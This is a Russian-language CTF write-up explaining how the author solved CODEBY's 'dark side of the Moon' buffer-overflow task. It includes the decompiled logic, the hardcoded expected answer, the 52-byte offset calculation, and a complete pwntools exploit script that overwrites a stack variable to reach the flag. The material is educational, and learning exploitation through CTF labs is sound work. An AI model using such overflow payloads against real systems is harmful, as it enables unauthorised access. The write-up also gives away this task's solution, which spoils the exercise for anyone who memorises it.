CODEBY Writeup. BOF. Обратная сторона Луны

CODEBY Writeup. BOF. Обратная сторона Луны

Михаил

Полезная информация по ИБ и разборы задачек CTF.

Обучающие статьи по PWN - Изучение PWN #1.

BOF. Обратная сторона Луны

Запускаем файл задания, видим ascii-графику с изображенеим Луны и предложением ввести свое предположение о том, что же находится на темной стороне Луны.

Запускаем IDA, переходим к декомпилированному коду:

Видим, что наше предположение о том, что находится на обратной стороне Луны сравнивается с переменной true_answer, в которой находится строка CODEBY_Secret_Base:

Дальше нам предлагается ввести секретный ключ, который записывается в переменную str, после чего значение переменной secret сравнивается с 0xEDBCDB. Значит, эту переменную нам и нужно перезаписать, найдем смещение адреса переменной secret относительно переменной str, в которую мы записываем наш ответ:

0x4054-0x4020 = 0x34 = 52

Все готово для написания эксплоита:

from pwn import *
server_ip = "SERVER_IP"
server_port = SERVER_PORT

def main():
  # Подключение к серверу
  conn = remote(server_ip, server_port)
  conn.recvuntil('moon...'.encode())
  conn.recvuntil('Enter your thoughts:'.encode(), timeout = 5)
  conn.sendline(b'CODEBY_Secret_Base')
  conn.recvuntil(b'Now tell me the secret key: ', timeout = 5)
  target_value = 0xEDBCDB
   
  payload = b'a' * 52 + p32(target_value)
  conn.sendline(payload)
  conn.interactive()

if __name__ == "__main__":
  main()

Обращаем внимание, что переменная secret имеет тип int, поэтому мы используем p32 для приведения нашего значения к нужному формату.

Запускаем и получаем флаг:










Report Page